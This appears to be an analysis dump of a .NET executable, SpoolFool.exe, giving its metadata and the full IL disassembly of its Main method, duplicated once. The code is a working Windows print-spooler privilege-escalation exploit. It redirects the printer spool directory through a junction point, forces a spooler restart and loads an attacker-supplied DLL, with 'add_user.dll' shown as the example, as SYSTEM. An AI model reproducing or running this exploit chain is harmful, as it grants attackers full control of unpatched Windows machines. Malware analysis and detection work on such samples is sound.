31eb70dc11af05ec4d5cda652396970c

PE Detect: PeReader OK (file layout)

PDB Path: Z:\predator\SpoolFool\SpoolFool\obj\Release\SpoolFool.pdb

SpoolFool.exe

SpoolFool.exe

System.Void SpoolFool.Program::Main(System.String[])

SpoolFool.exe

ModuleDef

Console

v4.0.30319

512

<null>

SpoolFool

1.0.0.0

<null>

False

<null>

.NETFramework,Version=v4.5.2

78

System.Void SpoolFool.Program::Main(System.String[])

342

call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() callvirt System.String System.Reflection.Assembly::get_Location() stloc.0 <null> ldarg.0 <null> brfalse.s IL_0016: call System.Void System.Console::WriteLine() ldarg.0 <null> call System.Boolean System.Linq.Enumerable::Any<System.String>(System.Collections.Generic.IEnumerable`1<System.String>) brtrue.s IL_006B: ldstr "Microsoft XPS Document Writer v4" call System.Void System.Console::WriteLine() ldstr SpoolFool call System.Void System.Console::WriteLine(System.String) ldstr By Oliver Lyak (@ly4k_) call System.Void System.Console::WriteLine(System.String) call System.Void System.Console::WriteLine() ldstr Examples: call System.Void System.Console::WriteLine(System.String) ldstr {0} -dll add_user.dll ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr {0} -dll add_user.dll -printer 'My Printer' ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr {0} -dll add_user.dll -dir 'SECRET' ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr {0} -dll add_user.dll -printer 'My Printer' -dir 'SECRET' ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr Microsoft XPS Document Writer v4 stloc.1 <null> ldstr 4 stloc.2 <null> ldstr stloc.3 <null> ldloca.s V_4 ldc.i4.0 <null> call System.Void System.IntPtr::.ctor(System.Int32) ldarg.0 <null> ldsfld System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>> SpoolFool.Program/<>c::<>9__2_0 dup <null> brtrue.s IL_00A5: call System.Collections.Generic.IEnumerable`1<<>f__AnonymousType0`2<System.Int32,System.String>> System.Linq.Enumerable::Select<System.String,<>f__AnonymousType0`2<System.Int32,System.String>>(System.Collections.Generic.IEnumerable`1<System.String>,System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>>) pop <null> ldsfld SpoolFool.Program/<>c SpoolFool.Program/<>c::<>9 ldftn <>f__AnonymousType0`2<System.Int32,System.String> SpoolFool.Program/<>c::<Main>b__2_0(System.String,System.Int32) newobj System.Void System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>>::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>> SpoolFool.Program/<>c::<>9__2_0 call System.Collections.Generic.IEnumerable`1<<>f__AnonymousType0`2<System.Int32,System.String>> System.Linq.Enumerable::Select<System.String,<>f__AnonymousType0`2<System.Int32,System.String>>(System.Collections.Generic.IEnumerable`1<System.String>,System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>>) callvirt System.Collections.Generic.IEnumerator`1<<>f__AnonymousType0`2<System.Int32,System.String>> System.Collections.Generic.IEnumerable`1<<>f__AnonymousType0`2<System.Int32,System.String>>::GetEnumerator() stloc.s V_13 br IL_014B: ldloc.s V_13 ldloc.s V_13 callvirt <>f__AnonymousType0`2<System.Int32,System.String> System.Collections.Generic.IEnumerator`1<<>f__AnonymousType0`2<System.Int32,System.String>>::get_Current() stloc.s V_14 ldloc.s V_14 callvirt System.String <>f__AnonymousType0`2<System.Int32,System.String>::get_value() callvirt System.String System.String::ToUpper() stloc.s V_15 ldloc.s V_15 ldstr -PRINTER call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0123: ldarg.0 ldloc.s V_15 ldstr /PRINTER call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0123: ldarg.0 ldloc.s V_15 ldstr -DIR call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0131: ldarg.0 ldloc.s V_15 ldstr /DIR call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0131: ldarg.0 ldloc.s V_15 ldstr -DLL call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_013F: ldarg.0 ldloc.s V_15 ldstr /DLL call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_013F: ldarg.0 br.s IL_014B: ldloc.s V_13 ldarg.0 <null> ldloc.s V_14 callvirt System.Int32 <>f__AnonymousType0`2<System.Int32,System.String>::get_index() ldc.i4.1 <null> add <null> ldelem.ref <null> stloc.1 <null> br.s IL_014B: ldloc.s V_13 ldarg.0 <null> ldloc.s V_14 callvirt System.Int32 <>f__AnonymousType0`2<System.Int32,System.String>::get_index() ldc.i4.1 <null> add <null> ldelem.ref <null> stloc.2 <null> br.s IL_014B: ldloc.s V_13 ldarg.0 <null> ldloc.s V_14 callvirt System.Int32 <>f__AnonymousType0`2<System.Int32,System.String>::get_index() ldc.i4.1 <null> add <null> ldelem.ref <null> stloc.3 <null> ldloc.s V_13 callvirt System.Boolean System.Collections.IEnumerator::MoveNext() brtrue IL_00B6: ldloc.s V_13 leave.s IL_0165: ldloc.3 ldloc.s V_13 brfalse.s IL_0164: endfinally ldloc.s V_13 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.3 <null> ldstr call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_017D: ldloc.3 ldstr [-] Please specify a DLL call System.Void System.Console::WriteLine(System.String) ret <null> ldloc.3 <null> call System.Boolean System.IO.File::Exists(System.String) brtrue.s IL_0191: ldloc.2 ldstr [-] Could not find DLL: {0} ldloc.3 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldloc.2 <null> ldstr call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_01D2: call System.String System.IO.Path::GetTempPath() ldstr { call System.Guid System.Guid::NewGuid() stloc.s V_16 ldloca.s V_16 constrained. System.Guid callvirt System.String System.Object::ToString() callvirt System.String System.String::ToUpper() ldstr } call System.String System.String::Concat(System.String,System.String,System.String) stloc.2 <null> ldstr [*] Generating random driver directory: {0} ldloc.2 <null> call System.Void System.Console::WriteLine(System.String,System.Object) call System.String System.IO.Path::GetTempPath() call System.Guid System.Guid::NewGuid() stloc.s V_16 ldloca.s V_16 constrained. System.Guid callvirt System.String System.Object::ToString() call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_5 call System.String SpoolFool.Printer::GetDriverDirectory() stloc.s V_6 ldloc.s V_6 ldloc.2 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_7 ldstr \\localhost\C$\ ldloc.s V_5 ldloc.2 <null> call System.String System.IO.Path::Combine(System.String,System.String) ldc.i4.3 <null> callvirt System.String System.String::Substring(System.Int32) call System.String System.String::Concat(System.String,System.String) stloc.s V_8 ldloc.3 <null> call System.String System.IO.Path::GetFileName(System.String) stloc.s V_9 ldloc.s V_7 ldloc.s V_9 call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_10 ldstr [*] Using printer name: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Using driver directory: {0} ldloc.2 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_5 call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldstr [*] Using temporary base directory: {0} ldloc.s V_5 call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Trying to open existing printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.1 <null> ldloca.s V_4 call System.Boolean SpoolFool.Printer::OpenExistingPrinter(System.String,System.IntPtr&) brtrue.s IL_02B4: ldstr "[+] Opened existing printer: {0}" ldstr [*] Failed to open existing printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Trying to create printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.1 <null> call System.IntPtr SpoolFool.Printer::CreatePrinter(System.String) stloc.s V_4 ldloc.s V_4 ldsfld System.IntPtr System.IntPtr::Zero call System.Boolean System.IntPtr::op_Equality(System.IntPtr,System.IntPtr) brfalse.s IL_02A7: ldstr "[+] Created printer: {0}" ldstr [-] Failed to create printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr [+] Created printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) br.s IL_02BF: ldloc.s V_7 ldstr [+] Opened existing printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_7 call System.Boolean System.IO.Directory::Exists(System.String) brfalse.s IL_02D9: ldstr "[*] Setting spool directory to: {0}" ldstr [*] Target directory already exists ldloc.s V_7 call System.Void System.Console::WriteLine(System.String,System.Object) br IL_03C2: ldstr "[*] Copying DLL: {0} -> {1}" ldstr [*] Setting spool directory to: {0} ldloc.s V_8 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_4 ldstr \ ldstr SpoolDirectory ldc.i4.1 <null> ldloc.s V_8 ldloc.s V_8 callvirt System.Int32 System.String::get_Length() call System.Int32 SpoolFool.Printer::SetPrinterDataEx(System.IntPtr,System.String,System.String,System.Int32,System.String,System.Int32) brtrue.s IL_0310: ldstr "[-] Failed to set the spool directory to: {0}" ldstr [+] Successfully set the spool directory to: {0} ldloc.s V_8 call System.Void System.Console::WriteLine(System.String,System.Object) br.s IL_031D: ldstr "[*] Creating junction point: {0} -> {1}" ldstr [-] Failed to set the spool directory to: {0} ldloc.s V_8 call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr [*] Creating junction point: {0} -> {1} ldloc.s V_5 ldloc.s V_6 call System.Void System.Console::WriteLine(System.String,System.Object,System.Object) ldloc.s V_5 ldloc.s V_6 ldc.i4.1 <null> call System.Void SpoolFool.JunctionPoint::Create(System.String,System.String,System.Boolean) ldstr C:\Windows\System32\AppVTerminator.dll stloc.s V_11 ldstr [*] Forcing spooler to restart call System.Void System.Console::WriteLine(System.String) ldloc.s V_4 ldstr CopyFiles\ ldstr Module ldc.i4.1 <null> ldloc.s V_11 ldloc.s V_11 callvirt System.Int32 System.String::get_Length() call System.Int32 SpoolFool.Printer::SetPrinterDataEx(System.IntPtr,System.String,System.String,System.Int32,System.String,System.Int32) pop <null> ldstr [*] Waiting for spooler to restart call System.Void System.Console::Write(System.String) ldc.i4 2000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldstr . call System.Void System.Console::Write(System.String) ldloc.1 <null> ldloca.s V_4 call System.Boolean SpoolFool.Printer::OpenExistingPrinter(System.String,System.IntPtr&) brfalse.s IL_036C: ldc.i4 2000 ldstr call System.Void System.Console::WriteLine(System.String) ldstr [+] Spooler restarted call System.Void System.Console::WriteLine(System.String) ldloc.s V_7 call System.Boolean System.IO.Directory::Exists(System.String) brfalse.s IL_03B5: ldstr "[-] Failed to create driver directory: {0}" ldstr [+] Successfully created driver directory: {0} ldloc.s V_7 call System.Void System.Console::WriteLine(System.String,System.Object) br.s IL_03C2: ldstr "[*] Copying DLL: {0} -> {1}" ldstr [-] Failed to create driver directory: {0} ldloc.s V_7 call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr [*] Copying DLL: {0} -> {1} ldloc.3 <null> ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object,System.Object) ldloc.s V_10 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_03F7: ldloc.3 ldstr [*] DLL already exists: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Trying to delete DLL: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_10 call System.Void System.IO.File::Delete(System.String) ldloc.3 <null> ldloc.s V_10 call System.Void System.IO.File::Copy(System.String,System.String) ldstr [*] Granting read and execute to SYSTEM on DLL: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_10 call System.Security.AccessControl.FileSecurity System.IO.File::GetAccessControl(System.String) stloc.s V_12 ldloc.s V_12 ldstr System ldc.i4 131241 ldc.i4.0 <null> newobj System.Void System.Security.AccessControl.FileSystemAccessRule::.ctor(System.String,System.Security.AccessControl.FileSystemRights,System.Security.AccessControl.AccessControlType) callvirt System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule) ldloc.s V_10 ldloc.s V_12 call System.Void System.IO.File::SetAccessControl(System.String,System.Security.AccessControl.FileSecurity) ldstr [*] Loading DLL as SYSTEM: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_4 ldstr CopyFiles\ ldstr Module ldc.i4.1 <null> ldloc.s V_10 ldloc.s V_10 callvirt System.Int32 System.String::get_Length() call System.Int32 SpoolFool.Printer::SetPrinterDataEx(System.IntPtr,System.String,System.String,System.Int32,System.String,System.Int32) pop <null> ldstr [*] DLL should be loaded call System.Void System.Console::WriteLine(System.String) ldloc.s V_5 call System.Void System.IO.Directory::Delete(System.String) ret <null>

SpoolFool.exe

SpoolFool.exe

System.Void SpoolFool.Program::Main(System.String[])

SpoolFool.exe

ModuleDef

Console

v4.0.30319

512

<null>

SpoolFool

1.0.0.0

<null>

False

<null>

.NETFramework,Version=v4.5.2

78

System.Void SpoolFool.Program::Main(System.String[])

342

call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() callvirt System.String System.Reflection.Assembly::get_Location() stloc.0 <null> ldarg.0 <null> brfalse.s IL_0016: call System.Void System.Console::WriteLine() ldarg.0 <null> call System.Boolean System.Linq.Enumerable::Any<System.String>(System.Collections.Generic.IEnumerable`1<System.String>) brtrue.s IL_006B: ldstr "Microsoft XPS Document Writer v4" call System.Void System.Console::WriteLine() ldstr SpoolFool call System.Void System.Console::WriteLine(System.String) ldstr By Oliver Lyak (@ly4k_) call System.Void System.Console::WriteLine(System.String) call System.Void System.Console::WriteLine() ldstr Examples: call System.Void System.Console::WriteLine(System.String) ldstr {0} -dll add_user.dll ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr {0} -dll add_user.dll -printer 'My Printer' ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr {0} -dll add_user.dll -dir 'SECRET' ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr {0} -dll add_user.dll -printer 'My Printer' -dir 'SECRET' ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr Microsoft XPS Document Writer v4 stloc.1 <null> ldstr 4 stloc.2 <null> ldstr stloc.3 <null> ldloca.s V_4 ldc.i4.0 <null> call System.Void System.IntPtr::.ctor(System.Int32) ldarg.0 <null> ldsfld System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>> SpoolFool.Program/<>c::<>9__2_0 dup <null> brtrue.s IL_00A5: call System.Collections.Generic.IEnumerable`1<<>f__AnonymousType0`2<System.Int32,System.String>> System.Linq.Enumerable::Select<System.String,<>f__AnonymousType0`2<System.Int32,System.String>>(System.Collections.Generic.IEnumerable`1<System.String>,System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>>) pop <null> ldsfld SpoolFool.Program/<>c SpoolFool.Program/<>c::<>9 ldftn <>f__AnonymousType0`2<System.Int32,System.String> SpoolFool.Program/<>c::<Main>b__2_0(System.String,System.Int32) newobj System.Void System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>>::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>> SpoolFool.Program/<>c::<>9__2_0 call System.Collections.Generic.IEnumerable`1<<>f__AnonymousType0`2<System.Int32,System.String>> System.Linq.Enumerable::Select<System.String,<>f__AnonymousType0`2<System.Int32,System.String>>(System.Collections.Generic.IEnumerable`1<System.String>,System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>>) callvirt System.Collections.Generic.IEnumerator`1<<>f__AnonymousType0`2<System.Int32,System.String>> System.Collections.Generic.IEnumerable`1<<>f__AnonymousType0`2<System.Int32,System.String>>::GetEnumerator() stloc.s V_13 br IL_014B: ldloc.s V_13 ldloc.s V_13 callvirt <>f__AnonymousType0`2<System.Int32,System.String> System.Collections.Generic.IEnumerator`1<<>f__AnonymousType0`2<System.Int32,System.String>>::get_Current() stloc.s V_14 ldloc.s V_14 callvirt System.String <>f__AnonymousType0`2<System.Int32,System.String>::get_value() callvirt System.String System.String::ToUpper() stloc.s V_15 ldloc.s V_15 ldstr -PRINTER call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0123: ldarg.0 ldloc.s V_15 ldstr /PRINTER call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0123: ldarg.0 ldloc.s V_15 ldstr -DIR call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0131: ldarg.0 ldloc.s V_15 ldstr /DIR call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0131: ldarg.0 ldloc.s V_15 ldstr -DLL call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_013F: ldarg.0 ldloc.s V_15 ldstr /DLL call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_013F: ldarg.0 br.s IL_014B: ldloc.s V_13 ldarg.0 <null> ldloc.s V_14 callvirt System.Int32 <>f__AnonymousType0`2<System.Int32,System.String>::get_index() ldc.i4.1 <null> add <null> ldelem.ref <null> stloc.1 <null> br.s IL_014B: ldloc.s V_13 ldarg.0 <null> ldloc.s V_14 callvirt System.Int32 <>f__AnonymousType0`2<System.Int32,System.String>::get_index() ldc.i4.1 <null> add <null> ldelem.ref <null> stloc.2 <null> br.s IL_014B: ldloc.s V_13 ldarg.0 <null> ldloc.s V_14 callvirt System.Int32 <>f__AnonymousType0`2<System.Int32,System.String>::get_index() ldc.i4.1 <null> add <null> ldelem.ref <null> stloc.3 <null> ldloc.s V_13 callvirt System.Boolean System.Collections.IEnumerator::MoveNext() brtrue IL_00B6: ldloc.s V_13 leave.s IL_0165: ldloc.3 ldloc.s V_13 brfalse.s IL_0164: endfinally ldloc.s V_13 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.3 <null> ldstr call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_017D: ldloc.3 ldstr [-] Please specify a DLL call System.Void System.Console::WriteLine(System.String) ret <null> ldloc.3 <null> call System.Boolean System.IO.File::Exists(System.String) brtrue.s IL_0191: ldloc.2 ldstr [-] Could not find DLL: {0} ldloc.3 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldloc.2 <null> ldstr call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_01D2: call System.String System.IO.Path::GetTempPath() ldstr { call System.Guid System.Guid::NewGuid() stloc.s V_16 ldloca.s V_16 constrained. System.Guid callvirt System.String System.Object::ToString() callvirt System.String System.String::ToUpper() ldstr } call System.String System.String::Concat(System.String,System.String,System.String) stloc.2 <null> ldstr [*] Generating random driver directory: {0} ldloc.2 <null> call System.Void System.Console::WriteLine(System.String,System.Object) call System.String System.IO.Path::GetTempPath() call System.Guid System.Guid::NewGuid() stloc.s V_16 ldloca.s V_16 constrained. System.Guid callvirt System.String System.Object::ToString() call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_5 call System.String SpoolFool.Printer::GetDriverDirectory() stloc.s V_6 ldloc.s V_6 ldloc.2 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_7 ldstr \\localhost\C$\ ldloc.s V_5 ldloc.2 <null> call System.String System.IO.Path::Combine(System.String,System.String) ldc.i4.3 <null> callvirt System.String System.String::Substring(System.Int32) call System.String System.String::Concat(System.String,System.String) stloc.s V_8 ldloc.3 <null> call System.String System.IO.Path::GetFileName(System.String) stloc.s V_9 ldloc.s V_7 ldloc.s V_9 call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_10 ldstr [*] Using printer name: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Using driver directory: {0} ldloc.2 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_5 call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldstr [*] Using temporary base directory: {0} ldloc.s V_5 call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Trying to open existing printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.1 <null> ldloca.s V_4 call System.Boolean SpoolFool.Printer::OpenExistingPrinter(System.String,System.IntPtr&) brtrue.s IL_02B4: ldstr "[+] Opened existing printer: {0}" ldstr [*] Failed to open existing printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Trying to create printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.1 <null> call System.IntPtr SpoolFool.Printer::CreatePrinter(System.String) stloc.s V_4 ldloc.s V_4 ldsfld System.IntPtr System.IntPtr::Zero call System.Boolean System.IntPtr::op_Equality(System.IntPtr,System.IntPtr) brfalse.s IL_02A7: ldstr "[+] Created printer: {0}" ldstr [-] Failed to create printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr [+] Created printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) br.s IL_02BF: ldloc.s V_7 ldstr [+] Opened existing printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_7 call System.Boolean System.IO.Directory::Exists(System.String) brfalse.s IL_02D9: ldstr "[*] Setting spool directory to: {0}" ldstr [*] Target directory already exists ldloc.s V_7 call System.Void System.Console::WriteLine(System.String,System.Object) br IL_03C2: ldstr "[*] Copying DLL: {0} -> {1}" ldstr [*] Setting spool directory to: {0} ldloc.s V_8 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_4 ldstr \ ldstr SpoolDirectory ldc.i4.1 <null> ldloc.s V_8 ldloc.s V_8 callvirt System.Int32 System.String::get_Length() call System.Int32 SpoolFool.Printer::SetPrinterDataEx(System.IntPtr,System.String,System.String,System.Int32,System.String,System.Int32) brtrue.s IL_0310: ldstr "[-] Failed to set the spool directory to: {0}" ldstr [+] Successfully set the spool directory to: {0} ldloc.s V_8 call System.Void System.Console::WriteLine(System.String,System.Object) br.s IL_031D: ldstr "[*] Creating junction point: {0} -> {1}" ldstr [-] Failed to set the spool directory to: {0} ldloc.s V_8 call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr [*] Creating junction point: {0} -> {1} ldloc.s V_5 ldloc.s V_6 call System.Void System.Console::WriteLine(System.String,System.Object,System.Object) ldloc.s V_5 ldloc.s V_6 ldc.i4.1 <null> call System.Void SpoolFool.JunctionPoint::Create(System.String,System.String,System.Boolean) ldstr C:\Windows\System32\AppVTerminator.dll stloc.s V_11 ldstr [*] Forcing spooler to restart call System.Void System.Console::WriteLine(System.String) ldloc.s V_4 ldstr CopyFiles\ ldstr Module ldc.i4.1 <null> ldloc.s V_11 ldloc.s V_11 callvirt System.Int32 System.String::get_Length() call System.Int32 SpoolFool.Printer::SetPrinterDataEx(System.IntPtr,System.String,System.String,System.Int32,System.String,System.Int32) pop <null> ldstr [*] Waiting for spooler to restart call System.Void System.Console::Write(System.String) ldc.i4 2000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldstr . call System.Void System.Console::Write(System.String) ldloc.1 <null> ldloca.s V_4 call System.Boolean SpoolFool.Printer::OpenExistingPrinter(System.String,System.IntPtr&) brfalse.s IL_036C: ldc.i4 2000 ldstr call System.Void System.Console::WriteLine(System.String) ldstr [+] Spooler restarted call System.Void System.Console::WriteLine(System.String) ldloc.s V_7 call System.Boolean System.IO.Directory::Exists(System.String) brfalse.s IL_03B5: ldstr "[-] Failed to create driver directory: {0}" ldstr [+] Successfully created driver directory: {0} ldloc.s V_7 call System.Void System.Console::WriteLine(System.String,System.Object) br.s IL_03C2: ldstr "[*] Copying DLL: {0} -> {1}" ldstr [-] Failed to create driver directory: {0} ldloc.s V_7 call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr [*] Copying DLL: {0} -> {1} ldloc.3 <null> ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object,System.Object) ldloc.s V_10 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_03F7: ldloc.3 ldstr [*] DLL already exists: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Trying to delete DLL: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_10 call System.Void System.IO.File::Delete(System.String) ldloc.3 <null> ldloc.s V_10 call System.Void System.IO.File::Copy(System.String,System.String) ldstr [*] Granting read and execute to SYSTEM on DLL: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_10 call System.Security.AccessControl.FileSecurity System.IO.File::GetAccessControl(System.String) stloc.s V_12 ldloc.s V_12 ldstr System ldc.i4 131241 ldc.i4.0 <null> newobj System.Void System.Security.AccessControl.FileSystemAccessRule::.ctor(System.String,System.Security.AccessControl.FileSystemRights,System.Security.AccessControl.AccessControlType) callvirt System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule) ldloc.s V_10 ldloc.s V_12 call System.Void System.IO.File::SetAccessControl(System.String,System.Security.AccessControl.FileSecurity) ldstr [*] Loading DLL as SYSTEM: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_4 ldstr CopyFiles\ ldstr Module ldc.i4.1 <null> ldloc.s V_10 ldloc.s V_10 callvirt System.Int32 System.String::get_Length() call System.Int32 SpoolFool.Printer::SetPrinterDataEx(System.IntPtr,System.String,System.String,System.Int32,System.String,System.Int32) pop <null> ldstr [*] DLL should be loaded call System.Void System.Console::WriteLine(System.String) ldloc.s V_5 call System.Void System.IO.Directory::Delete(System.String) ret <null>